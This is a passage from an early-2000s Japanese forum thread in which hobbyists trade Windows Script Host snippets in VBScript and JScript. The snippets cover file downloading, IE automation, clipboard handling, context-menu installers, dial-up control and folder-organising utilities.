もしこの手が使えたら、User-Agentの偽装とかも簡単にできるなあ。

うげ、禿しく初期レスで既出だった。
つかInternetExplorer.ApplicationのリファレンスがMSDNに載ってねーよ！

ｗｓｈからodbcアクセスがわからない

>>120
platform sdkをdlしる

>>122
どのファイルか教えれ。
script56.chmに載ってないぞ。

>>120
http://msdn.microsoft.com/workshop/browser/webbrowser/reference/Objects/InternetExplorer.asp

>>124
さんきゅ。ってかちょうど今見つけたとこ。

Platform SDKドキュメントのどこに書いてあるか非常に気になるんだが・・・

WSHはウイルス用言語です。他の使い方はしないでください

>>127
WSHは言語じゃないし、WSHで動作するウィルスはいまのところ皆無。
(ワームはいっぱいあるけどね)

>>11さん、ありがとー。
おかげで目的を達成でけました。

function downloadFile(savePath, url)
{
var adTypeBinary = 1;
var adSaveCreateNotExist = 1;
var adSaveCreateOverWrite = 2;

var objXmlHttp = WScript.CreateObject("Microsoft.XMLHTTP");
var objStream = WScript.CreateObject("Adodb.Stream");
var objFs = WScript.CreateObject("Scripting.FileSystemObject");

// セーブフォルダがなかったら作る
var parentFolder = objFs.GetParentFolderName(savePath);
if (objFs.FolderExists(parentFolder) == false) objFs.CreateFolder(parentFolder);

// 親URLをreferにする
var spos = url.lastIndexOf("/");
var parentUrl = url.substring(0, spos);

objXmlHttp.Open("GET", url, false);
objXmlHttp.SetRequestHeader("Referer", parentUrl);
objXmlHttp.Send();
objStream.Type = adTypeBinary;
objStream.Open();
objStream.Write(objXmlHttp.responseBody);
objStream.SaveToFile(savePath, adSaveCreateOverWrite);
}

>>126
inet.chm::/workshop/browser/webbrowser/reference/Objects/InternetExplorer.htm

無いと思ったら俺CoreSDKしかDLしてなかったんだった。
逝ってくる。

雑誌付録のVisual Studio.NETβ2のDVD-ROMに、
最新版のMSDNライブラリがついてきて(ﾟдﾟ)ｳﾏｰ

俺いつも日本語版MSDNしかインストールしてないんだよね。
英語版には載ってるんだろうか。

WSHでEXEやDLLのリソース内にあるアイコンを取得できないかな。

>>134
そんなもんCで書け

>>135
スレ違い

http://www.geocities.co.jp/CollegeLife-Club/5707/browzercrush.htm

>>136
きちがい

あのー>>11のコードをメモ帳に貼って拡張子vbsで保存して実行しても
うんともすんとも言わないんですが・・・

>>139
IE5以上必須です。

IE5.5なんですが・・・

>>141
IEのセキュリティ設定で、スクリプトによる貼り付け処理は、許可されてますか?
OSがWin95だったりしませんか?
WSHがインストールされていなかったりしませんか?
変なアンチウィルスソフトがインストールされていませんか?
実は、ファイル名が.vbs.txtになっていたりしませんか?

うーん、全部大丈夫なんですけどね・・・
スクリプトによる貼り付け処理　許可
OS　Windows2000
WSH　2000なのでデフォルトでWSH2.0
アンチウィルスソフト　インストールされていない
ファイル名　確実に拡張子vbs

http://www.microsoft.com/japan/developer/library/script56/sgFileSystemObjectModel.htm
ここに
「Internet Explorer の既定の設定では FileSystemObject オブジェクトをクライアント側で使用することができません。」
とありますが関係ないでしょうか。

どうやら
sData=oClip.getData("text")
のコードを入れるとファイル作成に失敗しているようです。
試しに
sData="test"
とするとファイルは作成されました。

>>143
これ以上はわからんなあ…。
実際、私のところでは動作するし、この方法は、複数の環境で動作報告が
あります。
FileSystemObjectがクライアント側で使えないというのは、あくまで
IEがホストの場合。WSHがホストの場合は問題ないです。

>>144
微妙にかぶってしまった。

↓のようなスクリプトを事前に実行してみた場合はどうなります?
これは、IEを使ってクリップボードに"test"という文字列をコピーする
ものなんですが。

Set Ie = WScript.CreateObject("InternetExplorer.Application")
Ie.Navigate "about:blank"
Do While Ie.Busy
Wscript.Sleep 10
Loop
Set oClip=Ie.Document.parentWindow.clipboardData
oClip.setData "text","test"

うちの掲示板で、IEを使ってクリップボードの操作をすると、
クリップボードが二重化される(?)みたいな報告がありましたもんで。

これはつまり、このファイルを実行した後にメモ帳などで[貼り付け]をすると
test という文字列が貼り付けられるということですよね？
これも失敗します。
ちなみにこの.vbsファイルをローカル（デスクトップ上）で実行してますが、
この場合でもIEの[スクリプトによる貼り付け処理の許可]は関係します？
一応[インターネット][イントラネット][信頼済み]で許可して試してますが。

こっちの環境を整理：Windows2000Pro+SP2, IE5.5+SP2

>>147
いえ、正直あんまり関係ない気がします。もしかしたらそうかな、というくらいで
書きました。

待ち処理部分を
Do While Ie.Busy or Ie.readyState<>4
WScript.Sleep 100
Loop
とかにしても駄目かな。

こっちの環境: Win2000Pro sp2 + IE6.0 + WSH5.6 + .NET Framework SDK (beta 2)

こんなんばっかり書いてるのも何なんで、Tips。
IEを使ってコモンダイアログを無理やり呼び出す方法。
Set Ie = WScript.CreateObject("InternetExplorer.Application")
Ie.Navigate "about:blank"
Do While Ie.ReadyState<>4
WScript.Sleep 100
Loop
Set document=Ie.Document
document.Write "<html><body><input type=file id=txtFile></body></html>"
document.all.txtFile.focus
document.all.txtFile.click
MsgBox document.all.txtFile.Value

待ち処理部分を変更しても失敗。
まぁ、これはこれで仕方ないとしましょう。
実際ローカルvbsで実行できなくてもいいんです。
htmlの<script>内でgetDataするのが目的で、これは問題なくできてるんで。

ageてみる

IEコンテキストメニューで「引用符付き貼り付け」できるようなものを作ってみた。
でもこれを使うと引用符付き貼り付けした後にウィンドウが背面に隠れてしまう。
コードの最後にfocus( )を追加してもダメ。何かいい方法はないかな？

<SCRIPT LANGUAGE="VBScript">
Set ie = CreateObject("InternetExplorer.Application")
Set win = external.menuArguments
Set rng = win.document.selection.createRange()

ie.Navigate "about:blank"
Do While Ie.Busy
Wscript.Sleep 10
Loop

Set oClip = ie.Document.parentWindow.clipboardData
sData = oClip.getData("text")
If IsNull(sData) Then sData = ""

Dim intStart
Dim intEnd
Dim intLength
Dim strResult

intStart = 1
Do While intStart < Len(sData)
intEnd = InStr(intStart,sData,VbCrLf,vbTextCompare)
If intEnd = 0 Then
strTemp = Mid(sData,intStart)
If strTemp <> "" Then strResult = strResult & "> " & strTemp
Exit Do
Else
intLength = intEnd + Len(VbCrLf) - intStart
strTemp = "> " & Mid(sData,intStart,intLength)
intStart = intEnd + Len(VbCrLf)
strResult = strResult & strTemp
End If
Loop

rng.text = strResult
</SCRIPT>

>>151
せっかくHTML内にスクリプトを書いてるんだから、
クリップボードに、別のIEのインスタンス経由でアクセスする必要は
ないんじゃない?

というか、これをやるんなら、テキストボックス(TextArea/Input type=text)で
選択した文字列に引用符をつけるスクリプトのほうがいいかもね。

あ、ほんとだ。
そのままクリップボードにアクセスできるんだ。
そうするとウィンドウが背面に隠れるのも解消されたよ。

> テキストボックス(TextArea/Input type=text)で
> 選択した文字列に引用符をつける
これは「テキストボックス内で選択した」文字列に引用符をつけるという意味？
それとも別の場所で選択した文字列を「テキストボックス内のみで」引用符を
付けられるようにするという意味？

>>153
ごめん、ちょっと寝ぼけてた。152の後半は無視してください。

おわびにインストーラつくったのでご笑納ください。
これ実行すると、テキストボックスの右クリックメニューのときだけに
「引用符を付加して貼り付け」が出るので便利ですよん。

'install.vbs
Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")

iMsg = MsgBox("IEのコンテキストメニューに「引用符を付加して貼り付け」を追加します。" & vbCrLf & "よろしいですか?",vbYesNo)
If iMsg=vbNo Then WScript.Quit

WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\引用符を付加して貼り付け\",Fs.BuildPath(Fs.GetParentFolderName(WScript.ScriptFullName),"addgt.htm"),"REG_SZ"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\引用符を付加して貼り付け\contexts",&H04,"REG_DWORD"

MsgBox "インストール完了"

'uninstall.vbs
Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")

iMsg = MsgBox("IEのコンテキストメニューから「引用符を付加して貼り付け」を削除します。" & vbCrLf & "よろしいですか?",vbYesNo)
If iMsg=vbNo Then WScript.Quit

WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\引用符を付加して貼り付け\"

MsgBox "アンインストール完了"

こりゃまたご丁寧に。
自分でも作ったんだけど"&H4"はテキストボックス以外のコントロールも指すから
ボタン上で右クリックしてもボタンのキャプションに引用付き貼り付けされるんだよね
だからさっき
> 「テキストボックス内のみで」引用符を付けられるようにするという意味？
と聞いてみたわけ。スクリプト内でコントロールの区別をするのかなと。
つーかさっそく引用しまくる俺。

>>155
なるほど、じゃ、こういうのはどうすか?

Set oSrc = win.event.srcElement

If oSrc.TagName="TEXTAREA" Or (oSrc.TagName="INPUT" And oSrc.Type="text") Then
...貼り付け処理
End If

かちゅユーザーだから、このスクリプトの恩恵が受けられない罠。

Good job !

起動時に音量ミュートを解除したいとか、そういったことはできますか？？
フリーソフト探してみたけどみつかんなかった。

>>158
レジストリのどこにその設定が保存されてるかがわかればできると思うけど

>>158-159
たとえレジストリのキーがわかっても、たぶんできないと思う。
というのも、>>95とかもそうなんだけど、コンパネ等でできる
設定って、たしかにレジストリに書き込まれるんだが、その逆、
つまり、レジストリにその設定をじかに書き込んでも、実際には
反映されないことが多いのです。
まあ、再起動とかかければ反映されることもあるけど。

そこで、WSHからこういう設定をかけるときは、
1. そういうことをやってくれるCOMコンポーネントを探す
2. そういうことをやってくれるコマンドラインツールを探す
3. SendKeysを使って無理やり設定する
という手を使う必要がでてくるわけ。
下に行けば行くほど、確実性が薄まってくるわけだが、場合によっては
SendKeysが妖しい威力を発揮することもある。誤爆も多いが。

さいわい、音量関係のコマンドラインツールというのがあるので、
これを使うのがよろしかろう。
http://www.vector.co.jp/soft/win95/art/se100704.html

あと、Sound Blaster系のサウンドカードをお使いなら、ミキサーコントロールが
オートメーション化(COMコンポーネント化)されているので、WSHから呼び出す
ことが可能かもしれません。(やったことないけど。やったけどうまくいかなかった
んだっけ? 忘れた)

IEに表示されてるページのHTMLソースを別のエディタで見るには？

>>161
スレ違い。

キャッシュされるファイルのパスはわかんないよね

>>163
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Foldersキーの
Cacheという文字列値をRegReadしなされ…って
そういう意味じゃないのかな?

hを抜いたURL、選択して実行すると新規ページでブラウザ開く
できれば右クリックででるようにしてくれると嬉しい

そういうの既にありますかね？

>>165
http://www6.plala.or.jp/downward/MDI/
↑のgreptools beta4.1を参照

>>161
IEで表示されてるのがローカルファイルなら・・・

<SCRIPT LANGUAGE="JScript">
var oWin = external.menuArguments;
var oShell = new ActiveXObject("WScript.Shell");
var strProtocol = "file:////";
var strData = new String(oWin.document.location.href);

if(strData.slice(0, 5) == "file:"){
strData = strData.slice(strProtocol.length-1);
strData = unescape(strData);
strData = strData.replace(/\//g, "\\");

oShell.Run("\"C:\\Program Files\\TeraPad\\TeraPad.exe\" " + "\"" + strData + "\"");
}
</SCRIPT>

>>165

↓hoge.regとして保存
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\URLを開く(&O)]
@="D:\\ieplugin\\newie.htm"
"contexts"=hex:10

↓newie.htmとしてD:\\ieplugin\\newie.htmに保存
<HTML>
<SCRIPT LANGUAGE="JavaScript" defer>
var parentwin = external.menuArguments;
var doc = parentwin.document;
var sel = doc.selection;
var rng = sel.createRange();
var str = rng.text.replace(/http:\/\/|ttp:\/\/|ｈｔｔｐ:\/\/|htp:\/\/|htt:\/\//, "");

if (str=="")
alert ("You must select some text to search for first.");
else
open("http://" + str);

</SCRIPT>
</HTML>

そんでhoge.regを実行。

>>165
良かったら、私の作ったやつも試してみてください。
http://www.roy.hi-ho.ne.jp/mutaguchi/wsh/src/mklink.lzh

ttp://、tp://、全角→半角までは対応してます。複数行のURLから同時に
リンク生成してくれる、わりと優れものです。
(直でリンク先を開かないようにしたのは、複数行対応ができることと、
Iria等との連携が取れるなどのメリットがあるからです)
8行目を
aLine(K)="<a href=""" & FixURL(aLine(K)) & """ target=""_blank"">" & FixURL(aLine(K)) & "</a>"
に変えてもいいかも。
「和塩」とかも展開しようかなあと一時は思いましたが…

>>161 >>167
あ、そういう意味か。すいません。
てっきり、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\View Source Editor\Editor Nameキー
の話かと。

TeraPadと言えば、こういうプロジェクトが進行中です。
ttp://csx.jp/~tsuchiya/
本来、TeraPadにマクロ機能はありませんが、TeraPadの機能を制御する
COMコンポーネントを使って、外部ツールとしてVBSファイルを呼び出すことで
実現してやろう、というものです。

良く考えると、IEの右クリックメニューって、WSHとは何も関係ないんだよな…

>>11
凄すぎる、リンクは便利だった。ie限定が残念だけど。
こんな頭のいい人が世の中にいるんだなぁ

> 「和塩」とかも展開しようかなあと一時は思いましたが…
それ(･∀･)イイ！。そんじゃこれも展開。

var urlList = new Array();
expandUrl(urlList, "www.hogehoge.com/[01-03]/[03-05].jpg");
WScript.echo(urlList);

function expandUrl(urlList, url)
{
var re = new RegExp("[[]([0-9]+)-([0-9]+)[]]");
var arr = re.exec(url);

if (arr == null)
{
urlList.push(url);
return;
}

var beginStr = RegExp.$1; //エイリアス
var begin = parseInt(RegExp.$1);
var end = parseInt(RegExp.$2);
var leftContext = new String(RegExp.leftContext);
var rightContext = new String(RegExp.rightContext);

var fillMode = false;
var fillSize = 0;

if (beginStr.charAt(0) == "0")
{
fillMode = true;
fillSize = beginStr.length;
}

for (var i = begin; i <= end; i++)
{
var si = i.toString();
if (fillMode) while (si.length < fillSize) si = "0" + si;

var expUrl = leftContext + si + rightContext;
expandUrl(urlList, expUrl);
}
}

MSのどっかに載っていたこんなスクリプトを実行しようとしても
こんな感じのエラーが出て動いてくれません。
Script: f:\bin\Hardlinks.vbs
Line: 79
Char: 4
Error ActiveXコンポーネントはオブジェクトを作成できません。:'HardLink.Object.1'
Code: 800A01AD
Source: Microsoft VBScript 実行時エラー

Hardlinks.vbs begins----------------------------------------------------------------------
' Hardlinks.vbs
' NTFS ボリュームでのハード リンクのデモ
' --------------------------------------------------------
Option Explicit
' 定数
Const L_NoHardLinkCreated = "ハード リンクを作成できません。"
Const L_EnterTarget = "ハード リンク先のファイル名を入力してください。"
Const L_HardLinks = "ハード リンクの作成中"
Const L_EnterHardLink = "作成するハード リンクの名前"
Const L_CannotCreate = "両方のファイルが同じボリューム上にあり、そのボリュームが NTFS であることを確認してください。"
Const L_NotExist = "ファイルは存在しません。"
Const L_SameName = "ターゲット ファイルとハード リンクの名前を同じにすることはできません。"
' (ハード) リンクを設定する既存のファイルを決定する
dim sTargetFile
if WScript.Arguments.Count >0 then
sTargetFile = WScript.Arguments(0)
else
sTargetFile = InputBox(L_EnterTarget, L_HardLinks, "")
if sTargetFile = "" then WScript.Quit
end if
' ファイルが存在するかどうかを確認する
dim fso
set fso = CreateObject("Scripting.FileSystemObject")
if Not fso.FileExists(sTargetFile) then
MsgBox L_NotExist
WScript.Quit
end if
' メイン ループ
while true
QueryForHardLink sTargetFile
wend
' 終了
WScript.Quit

' /////////////////////////////////////////////////////////////
' // ヘルパー関数
' ハード リンクを作成する
'------------------------------------------------------------
function QueryForHardLink(sTargetFile)
' コマンド ラインで指定された場合にハード リンク名を取得する
dim sHardLinkName
if WScript.Arguments.Count >1 then
sHardLinkName = WScript.Arguments(1)
else
dim buf
buf = L_EnterHardLink & " for" & vbCrLf & sTargetFile
sHardLinkName = InputBox(buf, L_HardLinks, sTargetFile)
if sHardLinkName = "" then WScript.Quit
if sHardLinkName = sTargetFile then
MsgBox L_SameName
exit function
end if
end if

'両ファイルが同じボリュームにあるか
'そのボリュームが NTFS であるかを確認する
if Not CanCreateHardLinks(sTargetFile, sHardLinkName) then
MsgBox L_CannotCreate
exit function
end if

' ハード リンクを作成する
dim oHL
set oHL = CreateObject("HardLink.Object.1")
oHL.CreateNewHardLink sHardLinkName, sTargetFile
end function

' 両方のファイルが同じ NTFS ディスクにあるかどうかを確認する
'------------------------------------------------------------
function CanCreateHardLinks(sTargetFile, sHardLinkName)
CanCreateHardLinks = false

dim fso
set fso = CreateObject("Scripting.FileSystemObject")

' 同じドライブかどうかを確認する
dim d1, d2
d1 = fso.GetDriveName(sTargetFile)
d2 = fso.GetDriveName(sHardLinkName)
if d1 <> d2 then exit function

' NTFS ドライブであるかどうかを確認する
CanCreateHardLinks = IsNTFS(sTargetFile)
end function
' IsNTFS() - ファイルのボリュームが NTFS であるかどうかを確認する
' --------------------------------------------------------
function IsNTFS(sFileName)
dim fso, drv

IsNTFS = False
set fso = CreateObject("Scripting.FileSystemObject")
set drv = fso.GetDrive(fso.GetDriveName(sFileName))
set fso = Nothing

if drv.FileSystem = "NTFS" then IsNTFS = True
end function
Hardlinks.vbs ends----------------------------------------------------------------------

>>172
これって、たとえば[1-1000]とかを展開すると、凄いことになったりしない?
私は素直にIriaさんにまかせます…。

>>174
'HardLink.Object.1' というProgIDを持つCOMコンポーネントをインストールしる。
以上。

ハードリンクじゃないけど、「フォルダのショートカット」をスタートメニュー
以外の任意のフォルダに作成するスクリプトなら作ったことあるよ。
http://www.roy.hi-ho.ne.jp/mutaguchi/wsh/src/folsc.lzh

こっちは、シンボリックリンクもどきということになるのかな。
Win2000/ME/XP用。

> これって、たとえば[1-1000]とかを展開すると、凄いことになったりしない?
それじゃそうならない仕組みを。
downloadFile()を>>129と入れ替えれば実際にダウンロードが始まります。

var dlr = new Downloader();
expandUrl(dlr, "www.hogehoge.com/[01-03]/[03-05].jpg");

function makeSaveFilePath(url)
{
// ここは好きなように書き換える。
var re = new RegExp("([0-9]+)/([0-9]+).jpg$");
var arr = re.exec(url);

return "C:\\downloads\\" + RegExp.$1 + "_" + RegExp.$2 + ".jpg";
}

function Downloader()
{
this.push = _Downloader_Push;
}

function _Downloader_Push(url)
{
downloadFile(makeSaveFilePath(url), url);
}

function downloadFile(savePath, url)
{
WScript.echo(url + "を" + savefile + "にセーブします");
}

> 私は素直にIriaさんにまかせます…。
分かってるんです。分かってるんですけどね T T

ちなみに同じことをやるのにirvine用のququeファイルを
lispで作ると6行ですみます T T

otimes (fnum 2 t)
(dotimes (pnum 3 t)
(insert (format nil "http://www.hogehoge.com/~2,'0D/~2,'0D.jpg" (+ fnum 1) (+ pnum 1)))
(insert "\t\t")
(insert (format nil "~2,'0D_~2,'0D.jpg" (+ fnum 1) (+ pnum 1)))
(insert "\t\t\t\t0\t0\t\t\t\t0\t\t0\t0\t0\t\t0\t\t\n")))

Win板TOPが見にくいので、sageでお願いします。

久しぶりにこのスレみたら
何やら凄い事になってますね…
あー僕もせっかく休みなんだから
少し勉強しなきゃ。

>>174
このスクリプトの出所、見つけたよ。
http://www.microsoft.com/japan/developer/windows2000/techart/ntfs5.asp

> 以前の "MIND" 誌の記事 ("MIND" 誌 1999 年 3 月号 (「Windows 2000 for
> Web Developers (英語) 」を参照))で、スクリプト コードからハード リンクを
> 作成する COM オブジェクトをサンプル コードとして添付しました。
> サンプル コード 2 は、このコードを利用して特定のファイルへの
> ハード リンクを作成する VBScript プログラムです。

て書いてあるね。"MIND" 誌ってのを手に入れなきゃならないかも。

このページに出てる、もう一つのサンプルスクリプトは、WSHから
NTFSのストリームに書き込むするやつなんだが、こちらは
標準機能だけで実行できそう。

>>182
自分でたてたスレには責任を持て。こんな良スレはめったにないのだ

age

再びage

参考になった。感動した。
自分はActive Perlを入れているのできっとPerl Scriptが
使えるに違いない。今から研究するよ。

>>187
Perl Scriptは日本語が通らない(らしい)のがネックだな…。

日本語が通らないってどういうこと？

>>189
日本語の文字列が扱えないらしい。詳しくは知らん。

ふつーに扱えるけど？<にほんご

1byte文字かマルチバイト文字か、
判別するように意識して書かんとだめってこと？
でもこれは、Perlでスクリプト書くときは、当たり前のことというか。。。

>>191
Perl Scriptでも大丈夫なんですか?
WSHで動かす場合ということですが。

つかえますか。
たとえば、ActivePerlHelpに載っているサンプルをいじって
<Job ID="HelloWorld">
<comment>
　 　hello.wsf
</comment>
<script language=PerlScript>
　 　$WScript->Echo("こんにちは");
</script>
</Job>
にしたら、うごかないよぉー。

>>193
うちでは、うごくけど？(謎)

全角スペースをまんま書き込んでるとかいう落ちではないよね？

>>195
そういうオチではなく、ほんとに動かないのです。
でも、別のオチがありました。Shift_JISでは駄目なんですね。

SHIFT-JISだけど、ポップアップが表示されるよ。
こんにちは〜って。ちなみに、Win2000

ActivePerlにJPerlを入れとけば、PerlScriptでも日本語が
使えるってことなんでしょうかね。
あとは文字コードや環境によって、使えたり使えなかったり?

ついでにあげ。

WSHでもカスタムインターフェイスが使えればいいのにね。
せめてVBのようにタイプライブラリの参照ができて〜とか。
でもそうなるとVARIANT以外のデータ型も扱えないといけないし。
現状ではちょっと無理というのはわかるんだけど、さーっとスレを読んでみて
そういうネタが目に付いたものでね。
OSの核となる機能はほとんどCOM化されてるけどすべてがオートメーションで
利用できるわけではない。開発者が親切だとデュアルインターフェイスにしてくれるんだろうけど
実際は「オートメーションでは使わせないよ」といった雰囲気がある。

ううっ WIN板だった。。。

ただいつもWSHと聞くたびこう感じちゃうんでね。今一歩、もったいないなと。
やっぱり適材適所なのかな。

ちょっとした機能でコンパイルするのも面倒なんだよなあ。
そのうち カスタム ⇔ オートメーション COMブリッジでもつくろうかしら、なんて。

ん？IEコンポーネントを使い倒す人かな？

goo のメールを読みに行くためのスクリプトです。

//****** 設定 ******//
var username = new String("goouser"); // 変更しれ！
var password = new String("guestguest"); // 変更しれ！
//*****************//

// URL
var url = new String("http://community.goo.ne.jp/");

var objIE = WScript.CreateObject("InternetExplorer.Application");
var objShell = WScript.CreateObject("WScript.Shell");

objIE.Visible = true;
objIE.Navigate(url);

waitForLoad(objIE); // 読み込みが終わるまで待つ

// ログイン
var pId, pPass, pSubmit;
for(var en = new Enumerator(objIE.document.all); !en.atEnd(); en.moveNext()) {
if (en.item().name == "uname" ) {pId = en.item();}
if (en.item().name == "pass" ) {pPass = en.item();}
if (en.item().name == "Submit") {pSubmit = en.item();}
}
if (pId == null || pPass == null || pSubmit == null) WScript.quit(0);

pId.value = username;
pPass.value = password;
pSubmit.click();

waitForLoad(objIE); // 読み込みが終わるまで待つ

// メールサービスへのリンクを探す
for(var en = new Enumerator(objIE.document.links); !en.atEnd(); en.moveNext())
{
var linkText = en.item().toString();
var index = linkText.indexOf("view=mail");

if (index >= 0) {
objIE.navigate(linkText);
break;
}
}

function waitForLoad(objIE) {
while (objIE.busy) WScript.Sleep(10);
while (objIE.Document.readyState != "complete") WScript.Sleep(10);
}

>>183
MSJ/MIND/MSDNマガジンのバックナンバーは
Microsoftのサイトで公開されている。
http://www.microsoft.com/mind/0399/win2000/win2000.htm

↑ファイル名 goomail.js で保存してね！

ソースアップローダ
http://www2.to/source

>>199
http://www.microsoft.com/japan/developer/library/script56/wsEleReference.htm

>206
定数がタイプライブラリから参照できるのは知っているんだけど
メソッドや引数の情報を直接引き出すことはできないんだよね
（引き出せたとしても前述のデータ型の問題がある）

ちなみにそういったタイプライブラリ情報を取得するActiveX コンポーネントもあるね
（ファイル名は失念）。これをMS Script Control との併用でオートメーション呼び出しに
利用出来ないかなと思ったこともあるけどやっぱりデータ型の問題が。

※ところでTypeLibから定数を取得するメリットって何なんだろう？
実行時バインドのスクリプト系言語では実行速度が落ちるだけに思うんだけど。


すみません。内容が板違いなのでこの辺にしときます。
アーキテクチャ絡みで何かあればこちらで。
http://pc.2ch.net/test/read.cgi/tech/981823340/l50

ActiveX コントロールだけでなくすべてのCOMコンポーネントがWSHから利用できる
ようになればバラ色なんだけどなあ。

バラ色だけどウィルス作者にとってもバラ色の予感

>>207
ActiveX コントロールは、WSHからは使えない(ActiveXコンテナじゃないから)
のではないか、と思ってみるテストをしつつ、age。

>>208
WSHで作られるウィルスって何なんだ。
VBSファイルに寄生するのか?

.NETな世界になったとき、WSHの立場はどうなるんですかねえ。
COMとともに完全消滅? バージョンアップは停止するも生き延びる? WSH.NETとして
新たな道を歩む? (C#が使えたり?)

>ActiveX コントロールは、WSHからは使えない(ActiveXコンテナじゃないから)
>のではないか、と思ってみるテストをしつつ、age。

ちょっと意味を汲み取れませんでしたが、私の前述の発言で
>ActiveX コントロールだけでなくすべての...
は「オートメーションオブジェクトだけでなくすべての...」のほうが
適切かもしれません。

>COMとともに完全消滅? バージョンアップは停止するも生き延びる? WSH.NETとして
>新たな道を歩む? (C#が使えたり?)

COMはWindows OSアーキテクチャの基盤として生き続けると思います。
ただプログラミング言語からの扱われ方が今にもましてラップされ
そのうちプログラマはCOMというものを意識しないか、存在すら
忘れ去るかもしれませんね。
今だって WSH がどのようにスクリプトエンジンとバインドしているか、
またスクリプトエンジンはどのようにオートメーション呼び出しを行っているか
なんて意識しながらスクリプトを書いている人なんてそういないでしょう。
実際知ると面白いものですが知らなくたって立派なスクリプトは書けますからね。
私みたいにアーキテクチャはちょっとかじっているけど粋なスクリプトは書けない
人間もいますし、まあこのあたりは今ではマニアで自己満足な世界かもしれません。

話はちょっと変わりますが私はWSHの魅力はすでに存在しているコンポーネントを
いかに巧みに組み合わせて目指す機能を実現するかというパズル的要素に
尽きると思います（まあ極論ですが）。単に機能を実現したいだけなら自分で
一から作ればいいわけで、でもWSHが持つ制限による「作れるかどうかわからない」
といったUnknownな世界が私の心をちょこっと、くすぐるわけです。

>>208
VBS 動かなければ ただの文字
お粗末でした

>.NETな世界になったとき、WSHの立場はどうなるんですかねえ。
>COMとともに完全消滅? バージョンアップは停止するも生き延びる? WSH.NETとして
>新たな道を歩む? (C#が使えたり?)

COM や WSH が無くなろうが、.NET になろうが、
自動処理的な作業ができるスクリプト言語があれば、いいなじゃい？
まぁ、古くなっても WSH に執着したいなら別だけど...

MSの自動処理って微妙に中途半端なんだよな、batでは苦労したし…

>>211
いや、VBSが使えたらいいんですが、VB.NETを使わなきゃならん
という事態になったら鬱だなあ、と。
スクリプト言語は、シンプルなのがいい。

ずいぶん違うらしいですね。VB と VB.net

サルベージしておこう

便利あげ

ついでに質問。
ダイアルアップ接続をWSHで行いたいんだけどそんなん無理?

http://www.vector.co.jp/soft/win95/net/se090627.html?y

>>216
こんなコンポーネントもあります。
WSHRas
http://www.borncity.de/WSHBazaar/WSHRas.htm

rundll.exeを使う方法。Win98専用かな?
Set WSHShell = WScript.CreateObject("WScript.Shell")
ap=WSHShell.RegRead("HKCU\RemoteAccess\InternetProfile")
WSHShell.Run "rundll.exe rnaui.dll,RnaDial " & ap,1,True

Win2000専用で、しかも結構タイミング的に動かないこともある
スクリプト。接続中なら切断、切断中なら接続します。
ちょっと書き変えれば、任意の接続先に接続するとかもできます。
Set Shell = WScript.CreateObject("Shell.Application")
For Each oItem In Shell.NameSpace(3).Items
If oItem.Name="ネットワークとダイヤルアップ接続" Then
Set oFolder=oItem.GetFolder
For Each oSubItem In oFolder.Items
If oFolder.GetDetailsOf(oSubItem,1)="ダイヤルアップ" Then
If oFolder.GetDetailsOf(oSubItem,2)="接続" Then
WScript.Sleep 500
oSubItem.InvokeVerb "切断(&O)"
WScript.Sleep 500
Else
WScript.Sleep 500
oSubItem.InvokeVerb "接続(&O)"
WScript.Sleep 500
End If
Exit For
End If
Next
Exit For
End If
Next

>>189
例えば
my $xxx = '東京都';
で
Missing right curly or square bracket...
なのでPerlのパーザが混乱していると思われ。
深く考えるのも面倒なので、
my $xxx = "\223\214\213\236\223\163";
環境はWin/me, ActivePerl 5.6.1

なんかネタ切れの感もありますが、スクリプトを一つ。

c:\folder\aaa001.xxx
c:\folder\aaa002.xxx
c:\folder\aaa003.xxx
c:\folder\bbb-01.xxx
c:\folder\bbb-02.xxx
c:\folder\ccc_1.xxx
c:\folder\ccc_2.xxx
c:\folder\ccc_3.xxx
...
のような連番ファイルが、なぜか同一フォルダに大量にあって、
フォルダを開くのが重くて鬱だ、という場合、このスクリプトを
実行すると、
c:\folder\aaa\aaa001.xxx
c:\folder\aaa\aaa002.xxx
c:\folder\aaa\aaa003.xxx
c:\folder\bbb\bbb-01.xxx
c:\folder\bbb\bbb-02.xxx
c:\folder\ccc\ccc_1.xxx
c:\folder\ccc\ccc_2.xxx
c:\folder\ccc\ccc_3.xxx
...
のように整理してくれます。
使い方は、整理したいフォルダをarrfol.vbsにD&D。

'arrfol.vbs
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
sRoot=WScript.Arguments(0)
For Each oFile In Fs.GetFolder(sRoot).Files
sBase=Fs.GetBaseName(oFile.Name)
For I=1 To Len(sBase)
If Not IsNumeric(Right(sBase,I)) Then
If I=1 Then Exit For
sFol = Left(sBase,Len(sBase) - I+1)
If Right(sFol,1)="-" Or Right(sFol,1)="_" Or Right(sFol,1)=" " Then
sFol = Left(sFol,Len(sFol)-1)
End If
sPath = sRoot & "\" & sFol & "\"
If Not Fs.FolderExists(sPath) Then Fs.CreateFolder(sPath)
sNewFile=Fs.BuildPath(sPath,oFile.Name)
If Not Fs.FileExists(sNewFile) Then
oFile.Move sPath
Else
If oFile.Size=Fs.GetFile(sNewFile).Size Then
oFile.Delete
End If
End If
Exit For
End If
Next
Next
MsgBox "終了"

じゃあその逆で＾＾；

c:\target\fugo\a.xxx
c:\target\fugo\b.xxx
c:\target\puyo\a.xxx
c:\target\puyo\b.xxx
c:\target\puyo\unyo\a.xxx
c:\target\puyo\unyo\b.xxx
を
c:\target\fugo_a.xxx
c:\target\fugo_b.xxx
c:\target\puyo_a.xxx
c:\target\puyo_b.xxx
c:\target\puyo_unyo\a.xxx
c:\target\puyo_unyo\b.xxx
にします。

c:\target\をドラッグ&ドロップするか"送る"で送ってください

// spoitRename.js
var objFs = new ActiveXObject("Scripting.FileSystemObject");

var en = new Enumerator(WScript.Arguments);
for (; !en.atEnd(); en.moveNext())
{
if (objFs.FolderExists(en.item())) spoitRename(en.item());
}

WScript.Echo("おしまい！");

function spoitRename(folderPath)
{
